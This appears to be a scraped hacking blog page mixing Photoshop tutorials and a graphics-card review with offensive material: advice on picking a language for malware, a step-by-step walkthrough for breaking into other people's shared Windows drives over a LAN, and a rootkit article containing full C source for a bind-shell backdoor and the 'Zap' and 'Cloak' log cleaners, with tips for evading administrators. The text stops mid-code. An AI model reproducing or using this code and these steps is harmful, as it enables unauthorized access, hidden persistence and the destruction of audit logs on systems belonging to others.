If you like this site, Don't forget to tell your friends and bookmark it :D . Thank You !!

What coding language should I pick to start coding spy programs?

Posted by X.E.R.O

What coding language should I begin with? - May 25th 2008 -
Author: caesar2k

That's the question I hear most:
What coding language should I pick to start coding spy programs?
By experience, I started with Visual Basic 5, in 1999. Even though I didn't use Windows APIs (Application Programming Interface) I liked the easiness that coding in VB5 was. But you can't go much further without using Windows API, that's what spy programming is all about. With the APIs you will be able to code virtually anything (no pun intended). I found later that VB COULD call APIs, then I changed to VB 6. I managed to make my first "internet" programs, like Ghostvoice. It was connecting to an IP, sending and receiving data! But I was using 2 API calls, and the rest, I relied in VB OCX controls, Winsock + direct speech. Yuck, if the remote computer doesn't have the OCX or even, the VB runtimes, your program will CHOKE, by the means, it won't even start.
So I saw that VB wasn't really my thing, and fastly moved to Delphi 5, and since then I settled forever. Delphi makes it perfect for malware coding, since you don't need any external requirements, only it being Windows OS. It's basically APIs all over, you won't be doing anything else, apart from the VCL, that is a wrapper for visual Windows API, like CreateWindow(), SetForegroundWindow(), ShowWindow(), CallWndProc(), etc. Delphi is pretty easy to learn and it's very intuitive.
It's almost like talking to the code, where you want a piece of code that does something, you do:

procedure DoMyStuff(var MyStuff);
begin
ProcessStuff(MyStuff);
end;

As you can see, there are BEGIN and END blocks, code that doesn't return a value are "PROCEDURE"'s and code that return a value are "FUNCTION"'s. So, before anybody ask, yes I would for sure recomend you starting with Delphi. Then after you grasp your handles with Delphi (pun intended) you can move to C++, and who knows, an ASM compiler such as FASM or NASM (my favorite).
By now, I would not recomend .NET (any 'sharp' language), since it also relies on a framework, that needs to be pre-installed on the computer.
Get coding, you can even try a free IDE called Lazarus, that is for Object Pascal, at

www.lazarus.freepascal.org
--> Read Full Article...

Follow us on Twitter Follow this blog

Create solar eclipse in photoshop

Posted by X.E.R.O

Create an eclipse artificially in Photoshop

This a tutorial to create an eclipse artificially in Photoshop. It can be used as a great background too. Even beginners should try this tutorial. You will get to know some Tools and their use. It's not at all difficult. I've tried to make it as simple as possible for even beginners to understand.So here goes. Step 1 : Open a New 640 x 400 pixel document by going to File>New.


Step 2 : Click the Paint Bucket Tool. Set the Background colour to Black. (It is so by default).




Step 3 : The White Layer has been filled with Black using the Paint Bucket Tool.



Step 4 : Click the New Layer Button shown. It will create a new layer.

Step 5 : The New Layer has been created.


Step 6 : Select the Elliptical Marque Tool by clicking it.




Step 7 : Press Shift on the keyboard and drag. A perfect circle will be created.


Step 8 : Now set the Foreground Colour to White. Clicking on the small arrow switches between the Foreground and Background colour. Select the Paint Bucket Tool again.



Step 9 : This is how it should look after filing the circle with White.


Step 10 : Go to Select>Deselect to deselect the Elliptical Marque Tool



Step 11 : The Opacity and Fill Sliders are in the Layers/Chanels/Paths pallette at bottom right of Photoshop. Drag the Fill slider to the extreme left. This will cause the white circle to disappear.


Step 12 : Go to Layer>Layer Style>Outer Glow as shown.


Step 13 : Drag the Size Slider to the right after this dialogue box opens. There is no hard and fast rule how much you should drag. It should satisfy you.

Step 14 : This is how it should looks after clicking OK. Now REPEAT this step.

Step 15 : This is how it look after repeating the above step. The glow is more diffused now.


Step 16 : Now go to Layer>Layer Style>Inner Glow




Step 17 : In the dialogue box which opens drag the Size slider to the right till you are satisfied with the result. Click OK.



Step 18 : Now go to Layers/Channels/Paths pallete. Press SHIFT on the keyboard to select both Background and Layer 1.

Step 19 : Now right click as shown. It will bring up the dialogue box as shown. Click MERGE LAYERS.


Step 20 : The Layers have been merged.


Step 21 : Now click the New Layer Button. It will create a new layer as shown.




Step 22 : Double click the background. The background layer cannot be edited. Therefore double click it to make a copy of it.


Step 23 : This dialogue box opens click OK.




Step 24 : Now drag Layer 1 below Layer 0 as shown. Now Fill Layer 1 with Black using the Paint Bucket Tool.



Step 25 : Now click Layer 0 and click the Quick Mask button. It will create a Quick Mask on Layer 0.



Step 26 : Now click the Gradient Tool shown above.



Step 27 : Make sure the Black to White gradient is selected. You can select it by clicking it if it is not selected.



Step 28 : Now drag the Gradient Tool from the bottom right to the middle as shown.


Step 29 : This is how it looks after applying the gradient. A few more steps remain. Just be patient.



Step 30 : Now just as in Step 18 and 19 select both the layers by clicking on the layers while pressing SHIFT key. Then Merge both layers.

Step 31 : Now go to Filter>Render>lens Flare.



Step 32 : When the above dialogue box opens choose 50-300mm Zoom. The first one and click ok. That is all.


This is the completed image.

--> Read Full Article...

Follow us on Twitter Follow this blog

how to make lightning flash

Posted by X.E.R.O

how to make lightning flash

(note- you need the lightning brushes for this trick, check it out at deviantart)

1) first make a background (a dark one is preferable.)

Image

2) make a new layer, and add a lightning brush

Image

(if you want, you can remove some of the glow and lower the opacity.)

3) once your satisfied, his ctrl+shift+m to animate. Something like this should show up.

Image

4) Then go to the animation menu. (if it doesn’t appear go to windows>animation.)

Image

5) Then make the lightning image invisible.

Image

6) Then duplicate the layer and make the lightning visible in that slide.

Image

7) Duplicate the lightning layer and make it invisible. Then select the lightning slide and press the tweening button.

Image

Cool A screen like this should pop up, select these settings.

Image

9) Now repeat the process, only this time make a delay of 0.1-0.3 seconds on the slide with the lightning. You should get something like this.

Image

10) Now go back to the first slide and give it a 1-10 second delay so that it’s realistic. Press play to test it out.

Image

Here’s what I got.

Image

Now use that animation technique on different backgrounds and with different settings.

--> Read Full Article...

Follow us on Twitter Follow this blog

NETBIOS HACKING

Posted by X.E.R.O

NETBIOS HACKING - BREAKING INTO SYSTEM

-What is it?-

NetBIOS Hacking is the art of hacking into someone else's computer through your computer. NetBIOS stands for "Network Basic Input Output System." It is a way for a LAN or WAN to share folders, files, drives, and printers.

-How can this be of use to me?-
Most people don't even know, but when they're on a LAN or WAN they could possibly have their entire hard drive shared and not even know. So if we can find a way into the network, their computer is at our disposal.

-What do I need?-
Windows OS
Cain and Abel - get it from here - http://www.oxid.it/

++++++++++++++++++++++++++++++++++++++++++++++++++
-[Step 1, Finding the target.]-
++++++++++++++++++++++++++++++++++++++++++++++++++
So first off we need to find a computer or the computer to hack into. So if your plugged in to the LAN, or connected to the WAN, you can begin. Open up Cain and Abel. This program has a built in sniffer feature. A sniffer looks for all IP addresses in the local subnet. Once you have opened up the program click on the sniffer tab, click the Start/Stop sniffer, and then click the blue cross




-What is it?-
NetBIOS Hacking is the art of hacking into someone else's computer through your computer. NetBIOS stands for "Network Basic Input Output System." It is a way for a LAN or WAN to share folders, files, drives, and printers.

-How can this be of use to me?-
Most people don't even know, but when they're on a LAN or WAN they could possibly have their entire hard drive shared and not even know. So if we can find a way into the network, their computer is at our disposal.

-What do I need?-
Windows OS
Cain and Abel - get it from here
CODE
http://www.oxid.it/
++++++++++++++++++++++++++++++++++++++++++++++++++
-[Step 1, Finding the target.]-
++++++++++++++++++++++++++++++++++++++++++++++++++

So first off we need to find a computer or the computer to hack into. So if your plugged
in to the LAN, or connected to the WAN, you can begin.
Open up Cain and Abel. This program has a built in sniffer feature. A sniffer looks for
all IP addresses in the local subnet. Once you have opened up the program click on the
sniffer tab, click the Start/Stop sniffer, and then click the blue cross




Another window will pop up, make sure "All host in my subnet" is selected, and then click ok.



It should begin to scan.



Then IP's, computer names, and mac addresses will show up.
Now remember the IP address of the computer you are going to be breaking into.
If you can't tell whether the IP address is a computer, router, modem, etc, that's ok.
During the next step we will begin our trial and error.





++++++++++++++++++++++++++++++++++++++++++++++++++
-[Part 2, Trial and Error]-
++++++++++++++++++++++++++++++++++++++++++++++++++

Now, we don't know if we have our designated target, or if we have a computer or printer, or whatever else is on the LAN or WAN.
If you did get the IP of the target though, I still recommend reading through this section, for it could be helpful later on.
Click on the start menu and go to run, type in cmd, and click ok.
This should bring up the command prompt.
From here we will do most of the hacking.
Now I will be referring to certain commands that need to be inputted into the command prompt.
I will put these commands in quotes, but do not put the quotes in the code when you type it into the prompt.
I am only doing this to avoid confusion.
Let's get back to the hacking.
Type in "ping (IP address of the target)." For example in this tutorial, "ping 192.168.1.103."
This will tell us if the target is online.
If it worked, it will look something like this (note, I have colored out private information):





IF it didn't work, meaning that the target is not online, it will look something like this:





If the target is not online, either switch to a different target, or try another time. If the target is online, then we can proceed.


++++++++++++++++++++++++++++++++++++++++++++++++++
-[Part 3, Gathering the Information.]-
++++++++++++++++++++++++++++++++++++++++++++++++++

Now, input this command "nbtstat –a (IP address of target)." An example would be "nbtstat –a 192.168.1.103."
This will show us if there is file sharing enabled, and if there is, it will give us the: currently logged on user, workgroup, and computer name.




Ok, you're probably wondering, "What does all this mean to me?" Well, this is actually very important, without this, the hack would not work. So, let me break it down from the top to bottom. I will just give the first line of information, and then explain the paragraph that follows it.

The information right below the original command says: "Local Area Connection," this information tells us about our connection through the LAN, and in my case, I am not connected through LAN, so the host is not found, and there is no IP.

The information right below the "Local Area Connection," is "Wireless Network Connection 2:" It gives us information about the connection to the target through WAN. In my case I am connected through the WAN, so it was able to find the Node IpAddress. The Node IpAddress is the local area IP of the computer you are going to break into.

The NetBIOS Remote Machine Name Table, give us the workgroup of our computer, tells us if it is shared, and gives us the computer name. Sometimes it will even give us the currently logged on user, but in my case, it didn't. BATGIRL is the name of the computer I am trying to connect to. If you look to the right you should see a <20>. This means that file sharing is enabled on BATGIRL. If there was not a <20> to the right of the Name, then you have reached a dead end and need to go find another IP, or quit for now. Below BATGIRL is the computers workgroup, SUPERHEROES. If you are confused about which one is the workgroup, and the computer, look under the Type category to the right of the < > for every Name. If it says UNIQUE, it is one system, such as a printer or computer. If it is GROUP, then it is the workgroup


++++++++++++++++++++++++++++++++++++++++++++++++++
-[Step 4, Breaking In]-
++++++++++++++++++++++++++++++++++++++++++++++++++

Finally it's time.
By now we know: that our target is online, our target has file sharing, and our target's computer name.
So it's time to break in.
We will now locate the shared drives, folders, files, or printers. Type in "net view \\(IP Address of Target)"
An example for this tutorial would be: "net view \\192.168.1.103




We have our just found our share name. In this case, under the share name is "C," meaning that the only shared thing on the computer is C. Then to the right, under Type, it says "Disk." Thismeans that it is the actual C DISK of the computer. The C DISK can sometimes be an entire person's hard drive.

All's that is left to do is "map" the shared drive onto our computer. This means that we will make a drive on our computer, and all the contents of the targets computer can be accessed through our created network drive. Type in "net use K: \\(IP Address of Target)\(Shared Drive). For my example in this tutorial, "net use K: \\192.168.1.103\C." Ok, let's say that you plan on doing this again to a different person, do u see the "K after "net use?" This is the letter of the drive that you are making on your computer. It can be any letter you wish, as long as the same letter is not in use by your computer. So it could be "net use G...," for a different target.



As you can see, for my hack I have already used "K," so I used "G" instead.

You may also do the same for multiple hacks.
If it worked, it will say "The command completed successfully."
If not, you will have to go retrace you steps.
Now open up "my computer" under the start menu, and your newly created network drive should be there.




Now, if you disconnect from the WAN or LAN, you will not be able to access this drive, hence the name Network Drive.
The drive will not be deleted after you disconnect though, but you won't be able to access it until you reconnect to the network.
So if you are doing this for the content of the drive, I recommend dragging the files and folders inside of the drive onto your computer,
because you never know if the target changes the sharing setting.
If you are just doing this to hack something, then go explore it and have some well deserved fun!

By ARUSH.SAL
--> Read Full Article...

Follow us on Twitter Follow this blog

The Geforce 9600GT 512 Mb Reviewed

Posted by X.E.R.O


Geforce 9600GT 512 Mb

Last month the first in the new NVIDEA 9000 series was launched. The GeForce 9600GT 512 Mb is the first of this new line that saw the light.


This new line of has to replace the whole NVIDIA assortment before summer. It's six moths ago that we had our first view of the 8000 series, so things are moving quickly at this company

We tested the first sibling in this new range of graphics cards the 9600GT. In itself the fact the NVIDIA made the debut with the 9600GT model is unique. Mostly the high end super gaming monsters are the first to see the light. This is a middle class model but has is build around the new G94 GPU, and will be one of the few cards featuring this chip. Both the 9800GT and 9800GTX will be based on the G92 GPU.

The overall design is no revolution. Improvements in performance are great, and the price/quality ratio has gone up. But from a technical point of view there is not much new under the sun.

Both the G94 and G92 GPU's don't support DirectX 10.1 like their competitor Ati Radion with the 3000 series. If this lack of support is a great drawback remains to be seen. Their are no games supporting 10.1 and since the shelf life of a graphics card in the gaming sector is less than 6 months we need not be overcritical at this point.

Both GPU's support PCI 2.0 and Pure Video 2 ( we had already seen this in the G84 and G86). But the new cards are cheaper, faster and have a better energy efficiency.

Although the 9000 series is not the most innovative, fact remains that they are interesting cards. If we compare the new GT9600 with the GT8600 (based on the G84 GPU).

The 9600 stands out with an 256 bits memory bus, while the 8600 had to work with half that amount, 128 bits. That this increase has pronounced effect on the performance stands to reason.

Where the GeForce 8600 had a maximum bandwidth of 32GB/sec the 9600 is capable of 57.6 GB/sec. Further the number of shader processors is doubled compared to the GPU84.

The clock of the 64 unified shaders increased from 1450 Mhz, to 1625 Mhz. The conclusion of this move is that Nvidea now has found a healthy balans between GPU power and memory bandwidth.

The 9600GT has two Dual-Link DVI connections, both HDCP capable. Dell is the only manufacturer that has a display capable of utilizing that possibility with their 24 Inch 2408WP and 30 Inch 3008WFP. Other companies promised to come with compatible models later this year.

Decoding HD imagery is no problem, so blue ray enthusiasts can rest assured. The GT9600 can be placed in double SLI. and beats its competitor the HD 3870 from Ati Radeon on all fronts. Tripple SLI is not possible but we have the feeling that not many of the potential buyers of this card will be interested in such a feature.

A comparison table for different games and resolutions can be found on our site. A strange phenomenon is that the overall energy consumption of the HD3870 X2 is higher with less performance.

To wrap it up, we think that a complete new line in 6 months time is a bit overdoing it, but that NVIDIA did a good job with the Geforce 9600GT 512 Mb. The great never seen before price/performance ratio is the and the consistent beating of the 3870 from Ati makes this card a great choice for the demanding but not overly fanatic gamer.

As soon as we can lay our hands on the 9800 models with will very happy to give them a good spin and find out what their extremes are. With our strange inclination we love to put new cards on the torture table.

ROSS
www.datastronghold.com
--> Read Full Article...

Follow us on Twitter Follow this blog

The Art of Rootkits

Posted by X.E.R.O

"ALMOST" EVERYTHING ABOUT ROOTKITS

1 - What is a root kit?

A rootkit is a program. Rootkits come in all different shapes and styles, some more advance than others. Rootkits are basically programs that help attackers keep their position as root. Notice it's called a "rootkit". 'root' meaning the highest level of administration on *nix based systems and 'kit' meaning a collection of tools. Rootkits contain tools which help attackers hide their presence as well as give the attacker full control of the server or host continuously without being noticed.
Rootkits are usually installed on systems when they have been successfully compromised and the highest level of access has been given (usually root) Some rootkits refuse to be installed until the attacker has root access, due to read and write permission to certain files. Once the system has been successfully compromised and the attacker has root, he\she may then install the rootkit, allowing them to cover their tracks and wipe the log files.
A typical rootkit consists of the following utilities (Note: We will look at these in a lot more detail later on):
  • Backdoor Programs - login backdoors, telnetd etc
  • Packet Sniffers - Sniff network traffic such as FTP, TELNET,POP3
  • Log-Wiping Utilities - Bash the logs to cover tracks
  • DDoS Programs - Turn the box into a DDoS client (Remember trinoo?)
  • IRC\Bots - Bots used to take over IRC channels (Lame and annoying)
  • Miscellaneous programs - May contain exploit, log editor
(Don't worry to much if you don't understand any of the above, as I said were look at this all in a lot more detail further down)

2 - Hacker Jargon Definition

Oh Hail the mighty hacker jargon!

This is what the "Hacker Jargon" says about the word "rootkit"...


"rootkit: /root�kit/, n.
[very common] A kit for maintaining root; an automated cracking tool. What script kiddies use. After a cracker has first broken in and gained root access, he or she will install modified binaries such as a modified version login with a backdoor, or a version of ps that will not report the cracker's processes). This is a rootkit."

Wow! that's amazing! We worship you hacker jargon! Thank you ever so much for explaining to me what a rootkit is!

Remember kidz, all you have to do is read out some cool urban HaX@r words out the jargon to your friends and they will think your really c00l! and 1337! ;-)


3 - Hackers or the Kids?

Now the question you are probably asking yourself is "Is a rootkit a hackers tool or just another script kiddies tool?" (Well, you may not be thinking that, maybe I just suck and my psychology skills are as good as yours..) Well, the "Hacker Jargon" defines a rootkit and a script kiddies tool and to some extend he\she\they\IT is right (The jargon is always right)

Rootkits don't really require that much skill to run or use. Most rootkits can be compiled like this...

gcc t0rn.c -o rootkit

then...

./rootkit


(Now obviously when compiling all "hacker" tools you need to chose a name which disguises it's purpose, so rootkit would be a really stupid choice)

However there are some rootkits that require more skill to run and use. Some rootkits require you to edit the source code before it's compiled and some even need you to edit the iptables and kernel. (Very advance ones, they used one at the "Black Hat Conference" in 2002)

So, rootkits are used by both hackers and script kiddies. I personally believe that a hacker would have to write his own rootkit to call himself a hacker not just run and use someone else code. (However that�s just my opinion, so don't hold me to that!)


4 - Who uses rootkits and why?

I have already really covered this in the previous sections, however for the forgetful types I shall explain again, just to summaries up what we have learnt so far...

Hackers and script kiddies use rootkits, they use them to maintain root and cover their tracks. Script kiddies lack knowledge of *how* a rootkit really works and most often they will end up deleting key binary files. (Basically, script kiddies will let you know when they have compromised your system)

Rootkits are only installed when the system has been compromised and root has been gained.

I don't really want to go into any more detail, because I'll end up just repeating myself. Lets just move on...


5 - The Language rootkits are coded in

Hmmm, well this isn't going to be short...
Most rootkits are coded in C or Assembly (Shell code). Most of the well-known rootkits are coded in C so the attacker can edit the source code to fit its target specification. (E.g. The logs files could be stored in a different location)


6 - Different types of rootkits

At the current time of writing there are 2 main types of rootkits.

Application rootkits - Established at the application layer
Kernel rootkits - Established at the kernel level (Core of any OS)


When I say "established" this could be referred to of where exactly the rootkit hides. Now lets start of my looking at an application rootkit.

An application rootkit is basically a rootkit which "replaces" all the well know system binary files (ls, netstat, killall) with "fake" or "Trojanned" ones. The trojanned or fake system files will help hide the attackers presence, report false information to the system administrator and even provide a Backdoor for the attacker. To help you understand this more I have provided a list of all the typical system files, which are "replaced" to, help the attacker cover his or her tracks. The list was taken from "Rootkit: Attacker Undercover Tools" by Sailman Manap.


LIST START....

Programs replace to hide attacker presence.

  • "ls", "find", "du" - Trojaned system file will be able to hide attackers file, directory and stuff that have been brought into the system from being listing.
  • "ps", "top", "pidof" - All these programs are process monitor program. Trojaned program will hide attacker process from being listing.
  • "netstat" - netstat is used to check network activity such as open port, network connections establish and listening. Trojaned netstat will hide processes installed by attacker such as ssh daemon or other services.
  • "killall" - Trojaned "killall" will not be able to kill attacker process.
  • "ifconfig" - When sniffer is running PROMISC flag is set to the nic. "ifconfig" is a handy utility to set and to view setting of ethernet nic. Trojaned "ifconfig" will not display the PROMISC flag when sniffer is running. This is useful to hide sniffer from being detected.
  • "crontab" - Trojaned "crontab" will hide the attacker�s crontab entry.
  • "tcpd", "syslogd" - Trojanised "tcpd" and "syslog" will not log any connection made by attacker. "tcpd" also capable to bypass tcp wrapper enforcement.


LIST END


Hopefully, that would should have given you a better idea of what an Application is. Remember, this section has only be written so you can distinguish the differences between a "Application" rootkit and "Kernel" rootkit. Lets now take a look at a Kernel rootkit.

A Kernel rootkit is a rootkit that buries itself deep in the Kernel. This makes it extremely hard to detect and remove. Kernel rootkits are more advance then Application rootkits, A Kernel rootkit works by exploiting and manipulating Kernel capabilities. Now I don't really want to go in much more detail on Kernel rootkits because they can get quite advance (Well, they ARE) were talk about them later in this file, it may also help to look at "2.7 - How the kernel works" to get a feel for these Kernel rootkits...

It's now time to move on. In the next section (Section 2) We look at all the elements which make up a rootkit, such as a Backdoor, Sniffer, log basher etc Half way through section 2 we will then look at "Kernel Rootkits" in more detail.


7 - Backdoors

Most of todays (decent) rootkits contain "Backdoors". Now you should all know what a Backdoor is but just in case you didn't I will quickly give a brief explanation of all.

Backdoor - A program or script which allows an attacker to establish some form of privilege and remote communication without logging into the system. Backdoors are usually installed when the system has been successfully compromised and some form of exploit has been entailed. The advantage of installing a backdoor on a system means that the attacker doesn't have to keep using the same exploit over and over again. The disadvantage of installing a backdoor means at one point or another the system administrator will notice suspicious activity in his network traffic, if he or she were to run a port scanner such as Nmap (Coded by Fyodor http://www.insecure.org) he or she would soon uncover an open port and sooner or later remove the backdoor.
A typical example of a Windows NT\2000 backdoor is one entitled "Tini.exe" (Made by NTSecurity) This little program listens on port 7777 for incoming connections, once a connection has been established a remote command shell is executed for the attacker who establishes the connection. (Now as I have mentioned this t-file generally deals with *nix backdoors, so I don't really want to get side stepped talking about windows backdoors, exploits etc I thought I'd just mention tini.exe to give you a general idea of what a Backdoor consists of.

Now lets talk more about *Nix backdoors. *nix backdoors come in *many* shapes and sizes. The paper by Sailman Manap gives yet another long comprehensive list of all the forms backdoors come in...

LIST START

  • Login Backdoor - Modifying login.c to look for backdoor password before stored password. Attacker can log into any account using backdoor password.
  • Telnetd Backdoor - Trojaned the "in.telnetd" to allow attacker gain access with backdoor password.
  • Services Backdoor - Replacing and manipulate services like "ftp", "rlogin", even "inetd" as backdoor to gain access.
  • Cronjob backdoor - Backdoor could also be added in "crontjob" to run on specific time for example at 12 midnight to 1 am.
  • Library backdoors - Almost every UNIX and Windows system have shared libraries. Shared libraries can be backdoor to do malicious activity including giving a root or administrator access.
  • Kernel backdoors - This backdoor is basically exploiting the kernel, which is core of the operating system to handle and to hide backdoor effectively
  • Network traffic backdoors which typically using TCP, UDP, and ICMP - Backdoor that exploiting network traffic protocol is widely used. In TCP protocol backdoor like ssh is popularly used because it communicate in encrypt, while crafting and tunneling packet In UDP and ICMP traffic will give a better chances escaping from firewall and "netstat".

LIST END


All of these and any other forms of *nix backdoors are explained and documented by Christopher Klaus, his paper can be
Reached at http://secinf.net/info/unix/backdoors.txt, I strongly recommend you check it out if you are either really interested in Backdoors or you still haven�t grasped the basic concepts of Backdoors. I have also written a small file on Backdoors entitled "A Crash Course in Backdoors" it is available at http://www.invisibleghosts.net
To finish of this section on backdoors, I feel like adding some source code. (This is a basic TCP Backdoor for *nix if you don't own a copy of linux or unix don't even attempt to compile this ;-)
I did not write this, shaun2k2 did, so please give ALL credit for the below source code to him.
----START-----------------------------
/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor.  /bin/sh is binded to the port of your
* choice.  Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/

#include
#include
#include
#include
#define BACKLOG 5
#define SHELL '/bin/sh'

void usage();

int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}

int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf('Couldn't make socket!\n');      exit(-1);
}

mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf('Could not bind socket!\n');
exit(-1);
}

if(listen(sock, BACKLOG) == -1) {
printf('Could not listen on socket!\n');
exit(-1);
}

printf('Listening for connections on port %s!\n', argv[1]);

while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl('/bin/sh','/bin/sh',(char *)0);
close(csock);
}
}

void usage(char *progname[]) {
printf('Usage: %s \n', progname);
exit(-1);
}
-------END---------------------------------------
The main purpose of me showing you this source is to give you a general idea of what a rootkit consists of. Remember rootkits come in many shapes and sizes and every rootkit is most likely to contain some form of Backdoor...
So what else do rootkits contain apart from Backdoors? Lets move on to the next section and look at "Sniffers".
8 - Sniffers

A lot of today�s rootkits contain programs known as "Sniffers". What are Sniffers? (Also known as Packet Sniffers) Basically packet Sniffers are programs that are made to "Monitor" network traffic, TCP\IP or any other network device. I'm sure you know when you are browsing the Internet or playing online games "Packets" of data are going to and from your Computer. Attackers install Sniffers so they can capture valuable information which is floating to and from your computer.

What type of valuable information? Here is a list of what a Sniffer is capable of...

  • Sniffing FTP passwords
  • Sniffing Telnet passwords
  • Sniffing Network passwords
  • Sniffing POP3 passwords
  • Capturing websites you have visited
  • Sniffing Gateways
  • Lots more

Some of you may be thinking "Won't my passwords been encrypted as they are passing over my network?" To some extent this is true, some services provide encryption (Such as E-mail if you were using PGP sniffing would be useless, unless of course your a good cryptographer) Other services such as ftp and telnet transfer their passwords in plain text, so it would be easy for an attacker to just capture the packet then dump it into a text editor (such as "vi", "Pico" or for M$ notepad) it would only take a couple of minutes for an attacker to uncover the plain text password.

Now there is a technical side to Sniffers that I don't really want to go into. For more information on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm this paper was written by a "Jason Drury" and I have found it most useful. If you are more interested in Windows Sniffers then I can recommend getting a copy of the following....
  • Windows Sniffer
  • TcpDump
  • Password Capture --------> Made especially to sniff passwords
  • Sniff
  • Ethereal
  • EtherPeep
My personal favorite Sniffer for Windows has to be TCPDump it's command line driven so the scripties wouldn't go near it but for those truly interested in the elements of computer hacking I would recommend TCPDump, it will take time getting used to it but its worth it.
Now what about linux sniffers.. Hmmmm I'll be honest with you I haven�t had much experience using linux Sniffers, but I have been told there are some good tutorials on how to make your own Sniffer for *nix on http://www.planetsourcecode.com, however before you even attempt to make your own I strongly recommend you get into socket programming. If you want a read made Sniffer just google for one, a common one is "linsniffer.c"
Anyway back to the main point, most rootkits DO sometimes contain "ready to run" Sniffers and Sniffers are hard to detect once they are running. (Were look at this a little later) The purpose of this section was just to show you WHAT a Sniffer is.. Now you know lets move on :-)
9 - Cleaners (Log Bashers)

Ah, we come to something a lot simpler, Log Bashers :-) (Also known as Log deleters, Log killers and Log Cleaners)

No matter what the title they all do the same thing. Delete system log files. System Administrators rely on logging as an extra form of security. Log files can keep track on who logged in last and at what type, what programs were run as that user was logged in etc etc. Therefore it is exceptionally important for the attacker to destroy ALL traces of log files. Now, some of you may be thinking:

"If all the Log files are deleted won't this give an indication to the system administrator that there box has been hacked?"

If you are thinking that, then your dead right. Deleting the log files can sometimes be pretty stupid, the best way to get around the log files is to "edit" the entries by deleting your entries and filling in some false ones (Sometimes this requires root access, but if your running a log cleaner of a rootkit you should already have root :-)

Another way around this is to delete the whole log file then to "re-create" them. Here is a VERY simple script I made to demonstrate what I mean...

-------START------

int main() system("rm-rf /root/logs/LastEntry.log"); touch(" /root/Logs/LastEntry.log"); return 0;

-------END--------

Now for those who don't know any C then I shall I explain. The first main line of the code is telling the C program to remove the file LastEntry.log, delete it. The second line is telling the program to create a file called LastEntry.log in the exact same location. So when the system administrator opens the log file he will be confronted with a blank file. (This may be a bit stupid because if the admin is security minded he will know the system has been compromised. Some stupid admins see it as a 'Bug' therefore you get away with it.)

Most rootkits contain some form of log-cleaner, but before you execute it you need to make sure you know exactly HOW it works, otherwise your just another script kiddie who "presumes" this tool will cover your tracks completely. Some log cleaners search certain directories for words like "IP" "Login", "Logs", "Log" etc and then delete them. Some just delete all the default log files that are in the default system location. Before you compile a rootkit learn C and take a look at the source code you may find you need to edit some of the entries. It's important you come FULLY prepared before you go out and install your rootkit.

I'll tell you now, I have been in this game long enough to realize even if you successfully edit\Delete a bunch of log files it doesn't mean you are untraceable. You still need to think about system programs which are running, which may have their own logging capabilities. Look out for IDS (Intrusion Detection Systems) such as SNORT and look out for programs like Tripwire and any other security programs which monitor\analyze system security.

As more and more people become security minded so do there software and "security awareness" system administrators are getting clever, so be careful!

I'll end this section now with some source for some well known log cleaners, I would strongly recommend not using them though, since they are fairly old. I'm only using them to show you what typical log cleaners are (used to be) like. Just because they are old though doesn't mean they don't work ;-) I'm just pretty sure if you Google about you can find MUCH better ones.

This is a very old log cleaner called "Zap" the source code is below..

----START----

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME '/usr/adm/wtmp'
#define UTMP_NAME '/etc/utmp'
#define LASTLOG_NAME '/usr/adm/lastlog'

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf('%s: ?\n',who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf('Zap2!\n');
} else
printf('Error.\n');

----END----

Here is another little log cleaner called Cloak v1.0 it wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX. This program is *old* and was written by Wintermute of -Resist-.

-------START-------

/* UNIX Cloak v1.0 (alpha)  Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible..  This file is for information purposes ONLY!*/

/*--> Begin source...    */
#include
#include
#include
#include
#include

main(argc, argv)
int     argc;
char    *argv[];
{
char    *name;
struct utmp u;
struct lastlog l;
int     fd;
int     i = 0;
int     done = 0;
int     size;

if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], 'cloakme') == 0) {
printf('You are now cloaked\n');
goto start;
}
else {
printf('close successful\n');
exit(0);
}
}
else {
printf('usage: close [file to close]\n');
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);

fd = open('/etc/utmp', O_RDWR);
if (fd < 0)
perror('/etc/utmp');
else {
